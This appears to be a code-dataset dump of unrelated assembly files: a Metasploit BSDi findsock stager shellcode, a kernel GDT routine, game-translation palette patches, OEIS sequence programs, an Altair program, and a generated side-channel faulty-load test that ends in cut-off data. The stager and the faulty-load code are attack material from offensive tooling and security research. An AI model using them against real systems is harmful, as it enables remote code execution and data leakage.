] | 11,048 | 2015-01-01T00:05:44.000Z | 2022-03-31T21:49:52.000Z | external/source/shellcode/bsdi/ia32/stager_sock_find.asm | Kilo-411/metasploit-framework | aaf27d7fa51390895dea63c58cb3b76e959d36f8 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 12,593 | 2015-01-01T01:01:20.000Z | 2022-03-31T22:13:32.000Z | ;;
;
; Name: stager_sock_find
; Qualities: Can Have Null
; Platforms: BSDi
; Authors: skape <mmiller [at] hick.org>
; optyx <optyx [at] uberhax0r.net>
; Version: $Revision: 1633 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Implementation of a BSDi tag based findsock TCP stager.
;
; File descriptor in edi.
;
; Meta-Information:
;
; meta-shortname=BSDi FindTag Stager
; meta-description=Run a second stage from an established connection
; meta-authors=skape <mmiller [at] hick.org>
; meta-os=bsdi
; meta-arch=ia32
; meta-category=stager
; meta-connection-type=findtag
; meta-name=find
; meta-basemod=Msf::PayloadComponent::FindConnection
; meta-offset-findtag=0x23
;;
BITS 32
GLOBAL _start
_start:
initialization:
push 0xc3000700
mov eax, 0x9a
cdq
push eax
mov esi, esp
initialize_stack:
push edx
mov esi, esp
push byte 0x40
mov dh, 0xa
push edx
push esi
push edx
findtag:
inc word [esp]
push byte 0x66 ; XXX
pop eax
call esi
cmp dword [esi], 0x2166736d ; tag: msf!
jnz findtag
pop edi
%ifndef USE_SINGLE_STAGE
cld
lodsd
jmp esi
%endif
| 18.042254 | 68 | 0.68306 |
3e1ea2d11db74037aeecd040c679fd4bf50a69cd | 205 | asm | Assembly | kernel/gdt_obj.asm | semahawk/kernel | a9d23a598d5d13345a7c10d5fd93c397a7a2dacd | [
"BSD-3-Clause"
] | null | null | null | kernel/gdt_obj.asm | semahawk/kernel | a9d23a598d5d13345a7c10d5fd93c397a7a2dacd | [
"BSD-3-Clause"
] | 1 | 2016-11-13T12:04:53.000Z | 2016-11-13T12:04:53.000Z | kernel/gdt_obj.asm | semahawk/kernel | a9d23a598d5d13345a7c10d5fd93c397a7a2dacd | [
"BSD-3-Clause"
] | null | null | null | global gdt_flush
gdt_flush:
; SEG_KCODE
jmp 0x08:.flush
.flush:
; SEG_KDATA
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
ret
; vi: ft=nasm:ts=2:sw=2 expandtab
| 11.388889 | 33 | 0.629268 |
ce9e66afae5ae021d6a550129b3ba708190cccb4 | 2,418 | asm | Assembly | bahamut/source/palettes.asm | higan-emu/bahamut-lagoon-translation-kit | 6f08de5b92b597c0b9ecebd485cc975b99acfc13 | [
"0BSD"
] | 2 | 2021-08-15T04:10:10.000Z | 2021-08-15T20:14:13.000Z | bahamut/source/palettes.asm | higan-emu/bahamut-lagoon-translation-kit | 6f08de5b92b597c0b9ecebd485cc975b99acfc13 | [
"0BSD"
] | 1 | 2022-02-16T02:46:39.000Z | 2022-02-16T04:30:29.000Z | bahamut/source/palettes.asm | higan-emu/bahamut-lagoon-translation-kit | 6f08de5b92b597c0b9ecebd485cc975b99acfc13 | [
"0BSD"
] | 1 | 2021-12-25T11:34:57.000Z | 2021-12-25T11:34:57.000Z | namespace palette {
constant white = color(31,31,29)
constant gray = color(15,15,15)
constant black = color( 2, 2, 2)
constant yellow = color(30,30, 2)
constant shadow = color(20,20,20)
constant green = color(17,31,17)
constant ivory = color(31,31,15)
constant navy = color( 2, 2,12)
constant red = color(31,12,12)
constant silver = color(21,21,21)
constant crimson = color(21, 8, 8)
seek(codeCursor)
namespace chapter {
enqueue pc
seek($e87cdd); { //add yellow text color
dw white //color 1
dw black //color 2
dw yellow //color 3
}
dequeue pc
}
namespace field {
enqueue pc
seek($c6a052); { //add yellow and ivory text colors
dw ivory //color 9
dw gray //color 10
dw black //color 11
ds 2 //color 12
dw white //color 13
dw black //color 14
dw yellow //color 15
}
dequeue pc
}
namespace combat {
enqueue pc
seek($c1ca4d); { //add yellow text color
dw white //color 1
dw black //color 2
dw yellow //color 3
}
seek($e64b42); { //convert yellow text color to ivory
dw white //color 1
dw gray //color 2
dw navy //color 3
ds 2 //color 4
dw ivory //color 5
}
dequeue pc
}
namespace menu {
enqueue pc
seek($ee53a4); jsl hook
seek($ee85d2); { //add green and ivory text colors
dw white //color 1
dw gray //color 2
dw black //color 3
ds 2 //color 4
dw shadow //color 5
dw gray //color 6
dw black //color 7
ds 2 //color 8
dw green //color 9
dw gray //color 10
dw black //color 11
ds 2 //color 12
dw ivory //color 13
dw gray //color 14
dw black //color 15
}
dequeue pc
//add yellow text color and rearrange palette order
//------
//ee53a1 lda #$0000
//ee53a4 sta $7e41e6
//------
function hook {
php; rep #$20; pha
lda.w #white; sta $7e41e2 //color 1
lda.w #black; sta $7e41e4 //color 2
lda.w #yellow; sta $7e41e6 //color 3
pla; plp; rtl
}
}
namespace titleScreen {
enqueue pc
seek($e89de0); dw black, silver, white //inactive menu item palette
seek($e89e00); dw black, crimson, red //selected menu item palette
dequeue pc
}
namespace endingScreen {
enqueue pc
seek($e8ddf0); insert "../en/binaries/fonts/font-ending-palette.bin"
dequeue pc
}
codeCursor = pc()
}
| 21.981818 | 71 | 0.593879 |
87ab67adfa05b5e3e71a05ba97beee02cbc635be | 729 | asm | Assembly | programs/oeis/122/A122188.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/122/A122188.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/122/A122188.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A122188: Triangle read by rows, formed from the coefficients of characteristic polynomials of the following sequence of matrices: 2 X 2 {{0, 1}, {1, 1}}, 3 X 3 {{0, 1, 0}, {0, 0, 1}, {1, 1, 1}}, 4 X 4 {{0, 1,0, 0}, {0, 0, 1, 0}, {0, 0, 0, 1}, {1, 1, 1, 1}}, 5 X 5 {{0, 1, 0, 0, 0}, {0, 0, 1, 0, 0}, {0, 0, 0, 1, 0}, {0, 0, 0, 0, 1}, {1, 1, 1, 1, 1}}, ...
; 1,1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,1,1,1,1,1,1,1
mov $1,1
lpb $0
sub $0,1
add $2,2
add $3,$1
sub $0,$3
lpe
lpb $2
sub $2,3
mov $1,$2
trn $2,1
lpe
mov $0,$1
| 42.882353 | 356 | 0.458162 |
f285070f988548e607db4a51d021490afa9feed6 | 2,411 | asm | Assembly | programs/oeis/272/A272298.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/272/A272298.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/272/A272298.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A272298: a(n) = n^4 + 324.
; 324,325,340,405,580,949,1620,2725,4420,6885,10324,14965,21060,28885,38740,50949,65860,83845,105300,130645,160324,194805,234580,280165,332100,390949,457300,531765,614980,707605,810324,923845,1048900,1186245,1336660,1500949,1679940,1874485,2085460,2313765,2560324,2826085,3112020,3419125,3748420,4100949,4477780,4880005,5308740,5765125,6250324,6765525,7311940,7890805,8503380,9150949,9834820,10556325,11316820,12117685,12960324,13846165,14776660,15753285,16777540,17850949,18975060,20151445,21381700,22667445,24010324,25412005,26874180,28398565,29986900,31640949,33362500,35153365,37015380,38950405,40960324,43047045,45212500,47458645,49787460,52200949,54701140,57290085,59969860,62742565,65610324,68575285,71639620,74805525,78075220,81450949,84934980,88529605,92237140,96059925,100000324,104060725,108243540,112551205,116986180,121550949,126248020,131079925,136049220,141158485,146410324,151807365,157352260,163047685,168896340,174900949,181064260,187389045,193878100,200534245,207360324,214359205,221533780,228886965,236421700,244140949,252047700,260144965,268435780,276923205,285610324,294500245,303596100,312901045,322418260,332150949,342102340,352275685,362674260,373301365,384160324,395254485,406587220,418161925,429982020,442050949,454372180,466949205,479785540,492884725,506250324,519885925,533795140,547981605,562448980,577200949,592241220,607573525,623201620,639129285,655360324,671898565,688747860,705912085,723395140,741200949,759333460,777796645,796594500,815731045,835210324,855036405,875213380,895745365,916636500,937890949,959512900,981506565,1003876180,1026626005,1049760324,1073283445,1097199700,1121513445,1146229060,1171350949,1196883540,1222831285,1249198660,1275990165,1303210324,1330863685,1358954820,1387488325,1416468820,1445900949,1475789380,1506138805,1536953940,1568239525,1600000324,1632241125,1664966740,1698182005,1731891780,1766100949,1800814420,1836037125,1871774020,1908030085,1944810324,1982119765,2019963460,2058346485,2097273940,2136750949,2176782660,2217374245,2258530900,2300257845,2342560324,2385443605,2428912980,2472973765,2517631300,2562890949,2608758100,2655238165,2702336580,2750058805,2798410324,2847396645,2897023300,2947295845,2998219860,3049800949,3102044740,3154956885,3208543060,3262808965,3317760324,3373402885,3429742420,3486784725,3544535620,3603000949,3662186580,3722098405,3782742340,3844124325
mov $1,$0
pow $1,4
add $1,324
| 344.428571 | 2,350 | 0.883451 |
93e26fd5fd50506390c03971cd1087ceab361fe9 | 79 | asm | Assembly | regression/parsers/nasm/reserve.asm | path64/assembler | 32ade96bc087d3a3e015e03d69fa48c41a7071a6 | [
"BSD-2-Clause"
] | 1 | 2016-06-03T20:02:45.000Z | 2016-06-03T20:02:45.000Z | regression/parsers/nasm/reserve.asm | path64/assembler | 32ade96bc087d3a3e015e03d69fa48c41a7071a6 | [
"BSD-2-Clause"
] | null | null | null | regression/parsers/nasm/reserve.asm | path64/assembler | 32ade96bc087d3a3e015e03d69fa48c41a7071a6 | [
"BSD-2-Clause"
] | null | null | null | times 5 resb 2 ; out: 00 00 00 00 00 00 00 00 00 00
resw 2 ; out: 00 00 00 00
| 26.333333 | 51 | 0.632911 |
3116f5da59a501b8ee674b393020c108fb9704a9 | 348 | asm | Assembly | data/RelocateCount.asm | Threetwosevensixseven/ZXRelocate | c76bfda491778b0619b686e466040ea02c83aeb9 | [
"Apache-2.0"
] | 1 | 2022-02-17T02:01:40.000Z | 2022-02-17T02:01:40.000Z | data/RelocateCount.asm | Threetwosevensixseven/ZXRelocate | c76bfda491778b0619b686e466040ea02c83aeb9 | [
"Apache-2.0"
] | null | null | null | data/RelocateCount.asm | Threetwosevensixseven/ZXRelocate | c76bfda491778b0619b686e466040ea02c83aeb9 | [
"Apache-2.0"
] | null | null | null | ; RelocateCount.asm
; Generated automatically by Relocate.exe
RelocateCount EQU 3 ; Relocation table is 6 byte(s) long
BA_ZX0 EQU $003D ; A bank ID will get patched here
BA_ZX1 EQU $003F ; A bank ID will get patched here
BA_MM0 EQU $0041 ; A bank ID will get patched here
| 43.5 | 75 | 0.600575 |
1a441181c0e441ffa4a4adb13059a032b9cf44f5 | 819 | asm | Assembly | oeis/142/A142380.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142380.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142380.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142380: Primes congruent to 29 mod 47.
; Submitted by Jon Maiga
; 29,311,499,593,1063,1439,1627,1721,2003,2473,3037,3319,3413,4259,4447,4729,5011,5387,5669,5857,6421,6703,7079,7549,7643,8677,9241,10181,10369,10463,10651,11027,11497,11779,12343,12437,12907,13001,14411,15727,16103,16573,17137,17231,17419,18077,20051,20333,20521,20897,21179,21649,22307,22777,22871,23059,23623,24281,24469,25033,25127,25409,26161,27947,28229,28793,29921,30109,30203,30391,31237,32083,32647,33023,33211,33493,33587,34057,35279,36313,36877,37159,37253,37441,38287,38569,38851,39133
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,28
mov $3,$1
add $1,4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,62
sub $2,1
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,65
| 35.608696 | 497 | 0.730159 |
52616247f0a18daa75a444cc5f03c1d3ab4c8859 | 114 | asm | Assembly | MPI/Lab-2/factorial1.asm | vishwas1101/Misc | cf660dfbacc674cd262eb4abd0e9dd07479a90ae | [
"MIT"
] | null | null | null | MPI/Lab-2/factorial1.asm | vishwas1101/Misc | cf660dfbacc674cd262eb4abd0e9dd07479a90ae | [
"MIT"
] | null | null | null | MPI/Lab-2/factorial1.asm | vishwas1101/Misc | cf660dfbacc674cd262eb4abd0e9dd07479a90ae | [
"MIT"
] | null | null | null |
org 100h
MOV SI, 0200H
MOV CX, 5D
MOV AX, 0001H
MOV DX, 0000H
here:
MUL CX
LOOP here:
MOV [SI], AX
ret
| 5.7 | 13 | 0.622807 |
89106ed2739261d04eefcd8afc647a93ac8f9958 | 1,889 | asm | Assembly | Altair101/asm/programsUntested/pTimerCounter.asm | tigerfarm/arduino | e51f111a092fe6737646b146a825f4eecbd05d44 | [
"OLDAP-2.4",
"OLDAP-2.7"
] | 2 | 2021-12-12T23:27:10.000Z | 2022-02-17T14:01:21.000Z | Altair101/asm/programsUntested/pTimerCounter.asm | tigerfarm/arduino | e51f111a092fe6737646b146a825f4eecbd05d44 | [
"OLDAP-2.4",
"OLDAP-2.7"
] | null | null | null | Altair101/asm/programsUntested/pTimerCounter.asm | tigerfarm/arduino | e51f111a092fe6737646b146a825f4eecbd05d44 | [
"OLDAP-2.4",
"OLDAP-2.7"
] | 4 | 2021-08-29T19:55:49.000Z | 2022-02-15T08:30:15.000Z | ; ------------------------------------------------
; Enter counter mode and display counter value for counter index in register A.
;
; ------------------------------------------------
ORG 0 ;
SENSE_SW EQU 255 ; Input port address: toggle sense switch byte, into register A.
;
; ------------------------------------------------
MVI A, ; Counter index file number.
OUT 25 ; Enter counter mode, and display counter value for counter index in register A.
; Flip the counter switch (AUX2 down) to exit counter mode and continue the program.
OUT 21 ; Increment counter value for counter index in register A.
OUT 25 ; Redisplay the counter value.
;
; ------------------------------------------------
Begin:
HLT ; Halt to wait for the Sense switches to be set.
IN SENSE_SW ; Get the Sense switches value into register A.
; 1 - first response to a ticket.
; 2 - 2nd or more, response to a ticket.
; ------------------------------------------------
OUT 25 ; Display Get the current value for the counter index, increment it and store it.
;
; ------------------------------------------------
JMP Begin
END
| 69.962963 | 120 | 0.314981 |
aae66b197aa5649375459ffff677cca2e03fb8d1 | 4,020 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_19.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_19.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_19.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r8
push %r9
push %rax
push %rcx
lea addresses_WC_ht+0x11353, %r9
nop
xor %rax, %rax
movl $0x61626364, (%r9)
nop
nop
nop
sub %rcx, %rcx
pop %rcx
pop %rax
pop %r9
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rbp
push %rdi
// Faulty Load
lea addresses_normal+0x53, %r12
nop
nop
nop
nop
xor %rbp, %rbp
movups (%r12), %xmm6
vpextrq $0, %xmm6, %r10
lea oracles, %r12
and $0xff, %r10
shlq $12, %r10
mov (%r12,%r10,1), %r10
pop %rdi
pop %rbp
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 67 | 2,999 | 0.663184 |
a002b308c26e865bd376489c44ec3690634f7d99 | 7,454 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1160.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1160.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1160.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1226b, %rsi
lea addresses_WC_ht+0x189eb, %rdi
nop
nop
nop
nop
and %rax, %rax
mov $123, %rcx
rep movsw
nop
nop
nop
and %r14, %r14
lea addresses_WT_ht+0x6feb, %r8
add $33451, %rdx
mov (%r8), %si
nop
nop
add $55455, %rdi
lea addresses_D_ht+0x186b, %rsi
lea addresses_WC_ht+0x16feb, %rdi
cmp %rbp, %rbp
mov $36, %rcx
rep movsl
cmp $31451, %rsi
lea addresses_UC_ht+0x4feb, %rdx
nop
sub $44255, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%rdx)
sub %r8, %r8
lea addresses_normal_ht+0x1d051, %rsi
lea addresses_WT_ht+0x96eb, %rdi
inc %r8
mov $109, %rcx
rep movsb
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0x250b, %rsi
lea addresses_A_ht+0x11a2b, %rdi
nop
nop
cmp $36130, %rdx
mov $12, %rcx
rep movsq
add $18724, %rdx
lea addresses_A_ht+0x116cf, %rcx
nop
nop
nop
nop
add $35727, %rdx
and $0xffffffffffffffc0, %rcx
movaps (%rcx), %xmm0
vpextrq $1, %xmm0, %rbp
and $12096, %rdi
lea addresses_D_ht+0x1e1eb, %rsi
lea addresses_WC_ht+0x116b, %rdi
nop
nop
nop
nop
nop
dec %r14
mov $25, %rcx
rep movsw
nop
nop
and %rbp, %rbp
lea addresses_A_ht+0x19203, %rsi
nop
and %r8, %r8
mov (%rsi), %cx
nop
add %rax, %rax
lea addresses_A_ht+0xd5b, %rdx
nop
nop
nop
sub $15640, %r8
movb (%rdx), %cl
nop
nop
nop
cmp %r14, %r14
lea addresses_D_ht+0x17a3b, %rdi
dec %r8
mov (%rdi), %cx
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0x18523, %rsi
lea addresses_A_ht+0x1245b, %rdi
nop
nop
nop
sub $14941, %rax
mov $93, %rcx
rep movsq
nop
nop
dec %rbp
lea addresses_normal_ht+0x114cb, %rbp
xor %rcx, %rcx
mov (%rbp), %r8
xor $33185, %rcx
lea addresses_WC_ht+0xecf, %rsi
lea addresses_WT_ht+0x1c7eb, %rdi
nop
nop
nop
nop
add $15366, %rax
mov $20, %rcx
rep movsl
nop
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %rax
// Faulty Load
lea addresses_normal+0x27eb, %r13
nop
nop
nop
nop
add %r12, %r12
mov (%r13), %rax
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rax
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': True, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': True, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': True, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 